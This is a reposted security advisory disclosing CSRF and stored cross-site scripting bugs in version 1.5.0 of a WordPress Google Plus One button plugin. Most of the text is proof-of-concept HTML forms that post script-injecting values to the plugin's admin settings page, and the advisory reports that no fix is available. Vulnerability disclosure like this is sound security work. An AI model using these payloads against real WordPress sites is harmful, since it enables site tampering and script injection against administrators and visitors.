WordPress Google Plus One Button By KMS 1.5.0 CSRF / XSS

Posted on Posted in Exploit

WordPress Google Plus one Button by KMS plugin version 1.5.0 suffers from cross site request forgery and cross site scripting vulnerabilities.

Title: WordPress 'Google 'Plus one' Button by kms' Plugin 
Version: 1.5.0
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-16
Download: 
- https://wordpress.org/plugins/google-plus-one-button-by-kms/
- https://plugins.svn.wordpress.org/google-plus-one-button-by-kms/
Notified WordPress: 2015-06-21
==========================================================

## Plugin description
==========================================================
WordPress bővítmény a Google +1 (plus one) gomb elhelyezésére. Megjeleníthető bejegyzés előtt, után, illetve az írások mellett bal oldalon

## CSRF/XSS vulnerabilities
==========================================================
The _SERVER variable 'REQUEST_URI' is printed directly into the HTML on the admin page. 

The settings in the admin panel is vulnerable to stored XSS and the settings can be changed using an CSRF attack.

PoC(s):
Log in as admin and submit one of the following forms:

XSS on admin pages:
<form method="POST" action="[URL]/wp-admin/options-general.php?page=google-plus-one-share-button"> 
   <input type="text" name="button_size" value="</script><script>alert(1)</script>"><br />
  <input type="text" name="button_location" value="</script><script>alert(2)</script>"><br />
   <input type="text" name="top_space" value="</script><script>alert(3)</script>"><br />
   <input type="text" name="left_space" value="</script><script>alert(4)</script>"><br />
   <input type="text" name="position" value="</script><script>alert(5)</script>"><br />
   <input type="text" name="filter_tag" value="</script><script>alert(6)</script>"><br />
   <input type="text" name="rp_gpo_submit" value="true" readonly><br />
  <input type="submit">
</form>

<form method="POST" action="[URL]/wp-admin/options-general.php?page=google-plus-one-share-button"> 
   <input type="text" name="button_size" value="</script><script>alert(1)</script>"><br />
  <input type="text" name="button_location" value="</script><script>alert(2)</script>"><br />
   <input type="text" name="top_space" value="</script><script>alert(3)</script>"><br />
   <input type="text" name="left_space" value="</script><script>alert(4)</script>"><br />
   <input type="text" name="position" value="</script><script>alert(5)</script>"><br />
   <input type="text" name="filter_tag" value="</script><script>alert(6)</script>"><br />
   <input type="text" name="rp_gpo_submit" value="true" readonly><br />
  <input type="submit">
</form>

XSS on pages displaying a Google Plus +1 button:
<form method="POST" action="[URL]/wp-admin/options-general.php?page=google-plus-one-share-button"> 
   <input type="text" name="button_size" value=""><br />
  <input type="text" name="button_location" value="left" readonly><br />
   <input type="text" name="top_space" value="asdf;}</style><script>alert(3)</script>"><br />
   <input type="text" name="left_space" value="asdf;}</style><script>alert(4)</script>"><br />
   <input type="text" name="position" value="asdf;}</style><script>alert(5)</script>"><br />
   <input type="text" name="filter_tag" value=""><br />
   <input type="text" name="rp_gpo_submit" value="true" readonly><br />
  <input type="submit">
</form>

<form method="POST" action="[URL]/wp-admin/options-general.php?page=google-plus-one-share-button"> 
   <input type="text" name="button_size" value=""/><script>alert(1)</script>"><br />
  <input type="text" name="button_location" value="top" readonly><br />
   <input type="text" name="rp_gpo_submit" value="true" readonly><br />
  <input type="submit">
</form>

## Solution
==========================================================
No fix available

==========================================================
XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.

Quelle: Packet storm Security

Facebooktwittergoogle_plus